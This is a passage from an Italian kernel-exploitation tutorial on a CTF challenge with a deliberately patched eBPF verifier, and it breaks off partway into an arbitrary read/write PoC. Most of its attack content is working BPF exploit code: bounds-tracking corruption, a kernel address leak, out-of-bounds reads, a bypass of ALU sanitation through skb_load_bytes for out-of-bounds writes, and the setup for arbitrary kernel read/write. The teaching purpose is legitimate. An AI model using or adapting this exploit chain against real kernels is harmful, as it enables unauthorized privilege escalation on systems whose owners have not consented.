In questo capitolo proveremo a ottenere un’elevazione di privilegi sfruttando un bug del verifier di eBPF. Per prima cosa prepara i file del challenge LK06 (Brahman).

Analisi della patch

Per rendere il kernel vulnerabile a scopo didattico è stata applicata una patch al verifier. Il diff è in patch/verifier.diff:

1
2
3
4
5
7957c7957,7958
< __mark_reg32_known(dst_reg, var32_off.value);
---
> // `scalar_min_max_or` will handler the case
> //__mark_reg32_known(dst_reg, var32_off.value);

La modifica tocca la riga 7957 di kernel/bpf/verifier.c.[1]

Prima della patch, all’inizio di scalar32_min_max_or veniva chiamata __mark_reg32_known. Dopo la patch, quella chiamata viene commentata. Per capire perché questo è exploitable bisogna seguire bene il flusso.

Leggere scalar32_min_max_or

La funzione modificata, scalar32_min_max_or, viene chiamata da adjust_scalar_min_max_vals, cioè dalla logica che aggiorna gli intervalli dopo le operazioni ALU.
Il caso che ci interessa è BPF_OR:

1
2
3
4
5
case BPF_OR:
dst_reg->var_off = tnum_or(dst_reg->var_off, src_reg.var_off);
scalar32_min_max_or(dst_reg, &src_reg);
scalar_min_max_or(dst_reg, &src_reg);
break;

Per prima cosa viene aggiornato var_off tramite tnum_or. La semantica è semplice: se un bit è sconosciuto in uno dei due operandi e l’altro non forza quel bit a 1, allora anche il risultato lo considera incerto.

1
2
3
4
5
6
7
8
struct tnum tnum_or(struct tnum a, struct tnum b)
{
u64 v, mu;

v = a.value | b.value;
mu = a.mask | b.mask;
return TNUM(v, mu & ~v);
}

Per esempio:

1
2
3
(mask=0xffff0000; value=0x1001)
OR
(mask=0xffffff00; value=0x2)

produce:

1
(mask=0xffffef00; value=0x1003)

Dopo l’aggiornamento di var_off, entra in gioco scalar32_min_max_or. Il punto eliminato dalla patch viene eseguito quando src_known e dst_known sono entrambi veri:

1
2
3
4
5
6
7
8
9
10
11

bool src_known = tnum_subreg_is_const(src_reg->var_off);
bool dst_known = tnum_subreg_is_const(dst_reg->var_off);

...

if (src_known && dst_known) {
// `scalar_min_max_or` will handler the case
//__mark_reg32_known(dst_reg, var32_off.value);
return;
}

tnum_subreg_is_const ritorna true quando i 32 bit bassi sono costanti. Quindi in quel punto il verifier sa che entrambe le subregister a 32 bit sono costanti.
Normalmente avrebbe dovuto chiamare __mark_reg32_known:

1
2
3
4
5
6
7
8
static void __mark_reg32_known(struct bpf_reg_state *reg, u64 imm)
{
reg->var_off = tnum_const_subreg(reg->var_off, imm);
reg->s32_min_value = (s32)imm;
reg->s32_max_value = (s32)imm;
reg->u32_min_value = (u32)imm;
reg->u32_max_value = (u32)imm;
}

Questa funzione riallinea i bounds a 32 bit con il valore costante appena ottenuto.

Il commento della patch dice però: “scalar_min_max_or will handler the case”. Andiamo quindi a vedere anche scalar_min_max_or:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static void scalar_min_max_or(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_is_const(src_reg->var_off);
bool dst_known = tnum_is_const(dst_reg->var_off);
s64 smin_val = src_reg->smin_value;
u64 umin_val = src_reg->umin_value;

if (src_known && dst_known) {
__mark_reg_known(dst_reg, dst_reg->var_off.value);
return;
}

...
}

Questa è la controparte a 64 bit. Se entrambi i registri interi a 64 bit sono costanti, chiama __mark_reg_known, che aggiorna sia i bounds a 64 bit sia quelli a 32 bit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* This helper doesn't clear reg->id */
static void ___mark_reg_known(struct bpf_reg_state *reg, u64 imm)
{
reg->var_off = tnum_const(imm);
reg->smin_value = (s64)imm;
reg->smax_value = (s64)imm;
reg->umin_value = imm;
reg->umax_value = imm;

reg->s32_min_value = (s32)imm;
reg->s32_max_value = (s32)imm;
reg->u32_min_value = (u32)imm;
reg->u32_max_value = (u32)imm;
}

/* Mark the unknown part of a register (variable offset or scalar value) as
* known to have the value @imm.
*/
static void __mark_reg_known(struct bpf_reg_state *reg, u64 imm)
{
/* Clear id, off, and union(map_ptr, range) */
memset(((u8 *)reg) + sizeof(reg->type), 0,
offsetof(struct bpf_reg_state, var_off) - sizeof(reg->type));
___mark_reg_known(reg, imm);
}

Quindi, se l’intero registro a 64 bit è costante, il commento della patch sembra ragionevole: non serve davvero __mark_reg32_known.

Il problema è il caso intermedio: i 32 bit bassi sono costanti, ma i 32 bit alti no.
In quel caso scalar32_min_max_or ritorna subito, mentre scalar_min_max_or non entra nel ramo che chiama __mark_reg_known.
Finisce invece nel percorso seguente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/* We get our maximum from the var_off, and our minimum is the
* maximum of the operands' minima
*/
dst_reg->umin_value = max(dst_reg->umin_value, umin_val);
dst_reg->umax_value = dst_reg->var_off.value | dst_reg->var_off.mask;
if (dst_reg->smin_value < 0 || smin_val < 0) {
/* Lose signed bounds when ORing negative numbers,
* ain't nobody got time for that.
*/
dst_reg->smin_value = S64_MIN;
dst_reg->smax_value = S64_MAX;
} else {
/* ORing two positives gives a positive, so safe to
* cast result into s64.
*/
dst_reg->smin_value = dst_reg->umin_value;
dst_reg->smax_value = dst_reg->umax_value;
}
/* We may learn something more from the var_off */
__update_reg_bounds(dst_reg);

La patch quindi lascia in giro un registro con informazioni parzialmente aggiornate. Bisogna capire se questo sia sufficiente a creare un’incoerenza utile.

Leggere __update_reg32_bounds

La funzione interessante è __update_reg32_bounds:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static void __update_reg32_bounds(struct bpf_reg_state *reg)
{
struct tnum var32_off = tnum_subreg(reg->var_off);

/* min signed is max(sign bit) | min(other bits) */
reg->s32_min_value = max_t(s32, reg->s32_min_value,
var32_off.value | (var32_off.mask & S32_MIN));
/* max signed is min(sign bit) | max(other bits) */
reg->s32_max_value = min_t(s32, reg->s32_max_value,
var32_off.value | (var32_off.mask & S32_MAX));
reg->u32_min_value = max_t(u32, reg->u32_min_value, (u32)var32_off.value);
reg->u32_max_value = min(reg->u32_max_value,
(u32)(var32_off.value | var32_off.mask));
}

Qui sta il bug.
Dato che __mark_reg32_known non è stato chiamato, i bounds a 32 bit (u32_min_value, u32_max_value, ecc.) possono contenere ancora lo stato precedente.

Per semplificare, ragioniamo sui valori unsigned:

1
2
3
reg->u32_min_value = max_t(u32, reg->u32_min_value, (u32)var32_off.value);
reg->u32_max_value = min(reg->u32_max_value,
(u32)(var32_off.value | var32_off.mask));

Se i 32 bit bassi sono costanti, allora var32_off.mask == 0, quindi diventa:

1
2
reg->u32_min_value = max(reg->u32_min_value, var32_off.value);
reg->u32_max_value = min(reg->u32_max_value, var32_off.value);

Supponi che il vecchio registro avesse come minimo e massimo lo stesso valore X, e che dopo l’OR il risultato reale dei 32 bit bassi diventi X|Y.
Se X|Y > X, allora:

1
2
reg->u32_min_value = max(X, X|Y); // min = X|Y
reg->u32_max_value = min(X, X|Y); // max = X

Otteniamo così una situazione impossibile: u32_min_value > u32_max_value.

Riproduzione del bug

Prendiamo il caso più semplice possibile: X = 0, Y = 1.
Costruiamo due registri:

1
2
R1: var_off=(value=0; mask=0xffffffff00000000)
R2: var_off=(value=0xfffffffe00000001; mask=0)

Facendo BPF_OR(R1, R2), succede questo:

  1. var_off diventa (value=0xfffffffe00000001; mask=0x100000000)
  2. u32_min_value = max(0, 1) = 1
  3. u32_max_value = min(0, 1) = 0

Quindi il verifier produce un registro “rotto”, in cui il minimo a 32 bit è 1 ma il massimo è 0.

Possiamo verificarlo con il seguente programma:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// Crea una BPF map
int mapfd = map_create(8, 1);

/* Programma BPF */
struct bpf_insn insns[] = {
// R0 --> &map[0]
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // key=0
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &k)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),

// R1 --> var_off=(value=0; mask=0xffffffff00000000)
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),

// R2 --> var_off=(value=0xfffffffe00000001; mask=0)
BPF_MOV64_IMM(BPF_REG_2, 0xfffffffe),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1),

// R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0)
BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),

BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};

Se carichi il programma e stampi il verifier_log, vedrai qualcosa di questo tipo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/ $ ./pwn 
func#0 @0
0: R1=ctx(off=0,imm=0) R10=fp0
0: (7a) *(u64 *)(r10 -8) = 0 ; R10=fp0 fp-8_w=mmmmmmmm
1: (18) r1 = 0x0 ; R1_w=map_ptr(off=0,ks=4,vs=8,imm=0)
3: (bf) r2 = r10 ; R2_w=fp0 R10=fp0
4: (07) r2 += -8 ; R2_w=fp-8
5: (85) call bpf_map_lookup_elem#1 ; R0_w=map_value_or_null(id=1,off=0,ks=4,vs=8,imm=0)
6: (55) if r0 != 0x0 goto pc+1 ; R0_w=P0
7: (95) exit

from 6 to 8: R0=map_value(off=0,ks=4,vs=8,imm=0) R10=fp0 fp-8=mmmmmmmm
8: (79) r1 = *(u64 *)(r0 +0) ; R0=map_value(off=0,ks=4,vs=8,imm=0) R1_w=Pscalar()
9: (77) r1 >>= 32 ; R1_w=Pscalar(umax=4294967295,var_off=(0x0; 0xffffffff))
10: (67) r1 <<= 32 ; R1_w=Pscalar(smax=9223372032559808512,umax=18446744069414584320,var_off=(0x0; 0xffffffff00000000),s32_min=0,s32_max=0,u32_max=0)
11: (b7) r2 = -2 ; R2_w=P-2
12: (67) r2 <<= 32 ; R2_w=P-8589934592
13: (07) r2 += 1 ; R2_w=P-8589934591
14: (4f) r1 |= r2 ; R1_w=Pscalar(umin=18446744065119617025,umax=18446744069414584321,var_off=(0xfffffffe00000001; 0x100000000),s32_min=1,s32_max=0,u32_min=1,u32_max=0) R2_w=P-85891
15: (b7) r0 = 0 ; R0_w=P0
16: (95) exit
processed 16 insns (limit 1000000) max_states_per_insn 0 total_states 1 peak_states 1 mark_read 1

Alla riga 14 si vede esplicitamente:

1
R1_w=Pscalar(...,s32_min=1,s32_max=0,u32_min=1,u32_max=0)

quindi il tracking si e rotto.

Lupetto

Questa famiglia di bug non è inventata: in passato problemi simili su OR, AND e XOR hanno davvero portato a vulnerabilità come CVE-2021-3490.

Leak di indirizzi

Quando riusciamo a creare un registro con min_value > max_value, ci sono vari modi per sfruttarlo. Il primo uso comodo e ottenere un leak di indirizzi.

In eBPF e permesso sommare o sottrarre valori scalari a un puntatore. L’aggiornamento dei bounds nel caso di ptr +/- scalar e implementato in adjust_ptr_min_max_vals:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
const struct bpf_reg_state *ptr_reg,
const struct bpf_reg_state *off_reg)
{

...

bool known = tnum_is_const(off_reg->var_off);
s64 smin_val = off_reg->smin_value, smax_val = off_reg->smax_value,
smin_ptr = ptr_reg->smin_value, smax_ptr = ptr_reg->smax_value;
u64 umin_val = off_reg->umin_value, umax_val = off_reg->umax_value,
umin_ptr = ptr_reg->umin_value, umax_ptr = ptr_reg->umax_value;

...

if ((known && (smin_val != smax_val || umin_val != umax_val)) ||
smin_val > smax_val || umin_val > umax_val) {
/* Taint dst register if offset had invalid bounds derived from
* e.g. dead branches.
*/
__mark_reg_unknown(env, dst_reg);
return 0;
}

...

Se il registro scalare ha bounds incoerenti, il risultato dell’operazione viene degradato a scalar unknown tramite __mark_reg_unknown.

Questo è molto utile: se sommi il registro corrotto a un puntatore di map, il risultato non viene più trattato come puntatore a map, ma come semplice valore scalare. Un valore scalare può essere scritto dentro una BPF map, quindi puoi trasformare il puntatore in un leak.

Per farlo, però, non bastano i bounds corrotti a 32 bit: serve estenderli al registro a 64 bit. Si può fare con BPF_MOV32_REG.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
...
// R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0)
BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),

// R0 --> scalar
BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1),

// Salva il puntatore ormai trattato come scalare
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0, -0x10),
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), // key
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // value
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),
BPF_MOV64_IMM(BPF_REG_ARG4, 0), // flag
BPF_EMIT_CALL(BPF_FUNC_map_update_elem), // map_update_elem

Se il programma va a buon fine, il valore scritto nella map corrisponde all’indirizzo del suo stesso elemento. Tieni solo conto che R1 conteneva in realtà 1, quindi il puntatore leakato risulta traslato di un byte.

leak dell'indirizzo della map

Con gdb puoi verificare che l’indirizzo corrisponde davvero all’area dati della map:

verifica in gdb dell'indirizzo leakato

Se sottrai 0x110, arrivi all’inizio della struttura bpf_array, che include il campo ops di bpf_map. In altri exploit questo puntatore può diventare un ottimo bersaglio per la corruzione.

Anche senza usare questo meccanismo specifico, l’indirizzo di una map torna molto utile, quindi conviene incapsulare il leak in una funzione dedicata.

Lupetto

Quando fai debug come root, ricorda che il kernel permette leak di puntatori che in un contesto non privilegiato verrebbero bloccati. La verifica finale va sempre fatta da utente normale.

Out-of-bounds access

Nel capitolo sul verifier abbiamo visto che, dal 2022, ALU sanitation complica molto gli out-of-bounds “classici”. Cominciamo comunque da un caso semplice, per capire bene la tecnica.

Esiste una scorciatoia: se la funzione bpf_bypass_spec_v1 ritorna true, il verifier salta ALU sanitation. Questo succede per default quando il programma viene caricato come root.
Quindi i primi esperimenti di OOB conviene farli come root.

Costruire una costante con tracking corrotto

Negli exploit contro il verifier è spesso molto utile costruire una costante che il verifier creda essere X ma che in realtà valga Y, con X != Y.
Il caso migliore è quando il verifier pensa 0 ma il valore reale è diverso da zero: in quel modo, ogni moltiplicazione o somma con un puntatore resta “innocua” per il verifier ma sposta davvero l’accesso in memoria.

Partiamo dal registro corrotto R1, che ha u32_min_value = 1 e u32_max_value = 0, ma valore reale pari a 1.
Ora costruiamo un secondo registro R2 sano, con bounds [0, 1] e valore reale pari a 1.
Se sommiamo R1 + R2, il verifier ottiene:

1
[1,0] + [0,1] = [1,1]

cioè considera il risultato una costante esatta pari a 1.
Ma i valori reali che si stanno sommando sono 1 e 1, quindi il risultato reale è 2.
Se poi sottraiamo 1, otteniamo esattamente quello che ci serve: un registro che il verifier considera 0, ma che in realtà vale 1.

Per costruire R2 con intervallo [0,1] basta usare una map o una condizione che scarti i casi oltre 1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// Crea una BPF map
int mapfd = map_create(8, 1);
val = 1;
map_update(mapfd, 0, &val);

/* Programma BPF */
struct bpf_insn insns[] = {
// R0 --> &map[0]
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // key=0
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &k)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),

// R1 --> var_off=(value=0; mask=0xffffffff00000000)
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_9, 0),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
// R2 --> var_off=(value=0xfffffffe00000001; mask=0)
BPF_MOV64_IMM(BPF_REG_2, 0xfffffffe),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1),
// R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0) / valore reale: 1
BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),

// R2 --> (s32_min=0, s32_max=1, u32_min=0, u32_max=1) / valore reale: 1
BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_9, 0),
BPF_JMP32_IMM(BPF_JLE, BPF_REG_2, 1, 2), // scarta i casi > 1
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

// R1 --> 0 / valore reale: 1
BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),

// Osserva il valore reale di R1
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_1, -0x10),
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), // key
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // value
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),
BPF_MOV64_IMM(BPF_REG_ARG4, 0), // flag
BPF_EMIT_CALL(BPF_FUNC_map_update_elem), // map_update_elem

BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};

Se controlli il contenuto della map dopo l’esecuzione, vedrai che il valore reale scritto è 1, anche se il verifier crede che R1 valga 0.

creazione di una costante con tracking corrotto

Verifica dell’out-of-bounds

Ora che abbiamo un registro che il verifier crede uguale a 0 ma che in realtà vale 1, possiamo moltiplicarlo per una costante e usarlo come offset per uscire dai limiti di una map.
Il programma seguente costruisce un offset che il verifier pensa 0 ma che in realtà vale 0x100, lo somma al puntatore alla map è poi fa una BPF_LDX_MEM fuori limite:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
int main() {
char verifier_log[0x10000];
unsigned long val;

// Crea una BPF map
int mapfd = map_create(8, 1);

unsigned long addr_map = leak_map_address(mapfd);
printf("[+] addr_map = 0x%016lx\n", addr_map);

val = 1;
map_update(mapfd, 0, &val);
/* Programma BPF */
struct bpf_insn insns[] = {
// R0 --> &map[0]
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // key=0
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &k)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),

// R1 --> var_off=(value=0; mask=0xffffffff00000000)
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_9, 0),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
// R2 --> var_off=(value=0xfffffffe00000001; mask=0)
BPF_MOV64_IMM(BPF_REG_2, 0xfffffffe),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1),
// R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0) / actual:1
BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),

// R2 --> (s32_min=0, s32_max=1, u32_min=0, u32_max=1) / actual:1
BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_9, 0),
BPF_JMP32_IMM(BPF_JLE, BPF_REG_2, 1, 2),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

// R1 --> 0 / actual: 1
BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),

// R1 --> 0 / actual: 0x100
BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x100),

// Leak via accesso OOB
BPF_MOV64_REG(BPF_REG_3, BPF_REG_9),
BPF_ALU64_REG(BPF_ADD, BPF_REG_3, BPF_REG_1),
BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),

// Riporta il valore in userland tramite la map
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_2, -0x10),
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), // key
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // value
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),
BPF_MOV64_IMM(BPF_REG_ARG4, 0), // flag
BPF_EMIT_CALL(BPF_FUNC_map_update_elem), // map_update_elem

BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};

/* Attributi per il caricamento */
union bpf_attr prog_attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = sizeof(insns) / sizeof(insns[0]),
.insns = (uint64_t)insns,
.license = (uint64_t)"GPL v2",
.log_level = 2,
.log_size = sizeof(verifier_log),
.log_buf = (uint64_t)verifier_log
};

/* Carica il programma */
int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
printf("%s\n", verifier_log);
if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)");

/* Prepara il socket */
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
fatal("socketpair");
if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
fatal("setsockopt");

/* Trigger del programma */
write(socks[1], "Hello", 5);

map_lookup(mapfd, 0, &val);
printf("val = 0x%016lx\n", val);

getchar();

return 0;
}

Se lo esegui come root, leggerai un valore che non appartiene affatto alla map:

leak OOB semplice

Con gdb si verifica facilmente che il valore leakato si trova davvero 0x100 byte oltre l’area dati della map:

verifica in gdb del valore OOB leakato

Se provi invece a passare direttamente 0x100 come costante, il verifier blocca tutto. Quindi l’accesso fuori limite è davvero un effetto del bug.

Da utente normale, però, la stessa tecnica fallisce. ALU sanitation riscrive la somma con il puntatore in modo da neutralizzare l’offset fuori range, è il programma finisce semplicemente per leggere il valore legittimo già presente nella map:

fallimento dell'OOB da utente normale
Lupetto

Prima dell'introduzione di ALU sanitation, exploit di questo tipo contro i campi di `bpf_map` erano molto più diretti.

Bypass di ALU sanitation

Per fortuna il kernel target, 5.18.14, lascia aperta un’altra strada.
L’idea è questa: se il verifier patcha i ptr +/- scalar, allora conviene far eseguire l’accesso fuori limite a una helper function che usa offset e size passati come argomenti.

Fra gli helper disponibili ai programmi socket filter, uno particolarmente utile è skb_load_bytes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
BPF_CALL_4(bpf_skb_load_bytes, const struct sk_buff *, skb, u32, offset,
void *, to, u32, len)
{
void *ptr;

if (unlikely(offset > INT_MAX))
goto err_clear;

ptr = skb_header_pointer(skb, offset, len, to);
if (unlikely(!ptr))
goto err_clear;
if (ptr != to)
memcpy(to, ptr, len);

return 0;
err_clear:
memset(to, 0, len);
return -EFAULT;
}

static const struct bpf_func_proto bpf_skb_load_bytes_proto = {
.func = bpf_skb_load_bytes,
.gpl_only = false,
.ret_type = RET_INTEGER,
.arg1_type = ARG_PTR_TO_CTX,
.arg2_type = ARG_ANYTHING,
.arg3_type = ARG_PTR_TO_UNINIT_MEM,
.arg4_type = ARG_CONST_SIZE,
};

Questa helper copia nel programma BPF i byte del pacchetto ricevuto sul socket. Gli argomenti sono:

  • arg1: contesto (skb)
  • arg2: offset da cui leggere nel pacchetto
  • arg3: buffer di destinazione
  • arg4: lunghezza da copiare

Il punto importante è che il controllo dei limiti avviene dentro l’helper e non è neutralizzato da ALU sanitation nello stesso modo del classico ptr + scalar.

Possiamo allora preparare un registro che il verifier creda uguale a 1, ma che in realtà valga 0x10, e usarlo come lunghezza di skb_load_bytes. Se la map ha size 8, copiare 16 byte significa ottenere una write fuori limite.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
...
// R1 --> 0 / actual: 1
BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),

// R1 --> 1 / actual: 0x10
BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x10-1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),

// Scrive in map[0] usando skb_load_bytes (bypass di ALU sanitation)
BPF_MOV64_IMM(BPF_REG_ARG2, 0), // arg2=offset (0)
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_9), // arg3=to (&map[0])
BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_1), // arg4=len (1/0x10)
BPF_MOV64_REG(BPF_REG_ARG1, BPF_REG_8), // arg1=skb
BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),
...

Dal socket inviamo 16 byte controllati:

1
2
3
4
char payload[0x10];
*(unsigned long*)&payload[0] = 0x4141414141414141;
*(unsigned long*)&payload[8] = 0xdeadbeefcafebabe;
write(socks[1], payload, 0x10);

Il risultato è una write fuori limite sulla heap del kernel:

write OOB ottenuta bypassando ALU sanitation

A questo punto potresti già tentare un exploit corrompendo il ops di una seconda map o qualche altro oggetto heap adiacente. Ma c’è una strada ancora più pulita.

Creazione di AAR/AAW

Ricorda che lo stack BPF può contenere puntatori e che il verifier continua a trattarli come tali.
Se usi skb_load_bytes per fare una scrittura fuori limite sullo stack BPF, puoi sovrascrivere un puntatore valido già presente nello stack con un indirizzo arbitrario scelto dall’utente.
Il verifier però continua a considerare quel valore come un puntatore trusted. Di conseguenza, se in seguito lo ricarichi con BPF_LDX_MEM, puoi dereferenziarlo o scriverci sopra: hai ottenuto AAR/AAW.

Lo schema e:

creazione di AAR/AAW sovrascrivendo un puntatore sullo stack

Dentro il PoC seguente, il puntatore valido viene salvato in FP-0x18, poi skb_load_bytes lo sovrascrive con l’indirizzo arbitrario inviato nel payload.
Alla fine il programma rilegge FP-0x18 come puntatore e lo usa per leggere o scrivere in memoria arbitraria.

PoC di AAR/AAW
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
/**
* Lettura di un indirizzo arbitrario
*/
unsigned long aar64(int mapfd, unsigned long addr) {
char verifier_log[0x10000];
unsigned long val;

val = 1;
map_update(mapfd, 0, &val);

/* Programma BPF */
struct bpf_insn insns[] = {
// R8 --> context
BPF_MOV64_REG(BPF_REG_8, BPF_REG_1),

// R0 --> &map[0]
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // key=0
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &k)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),

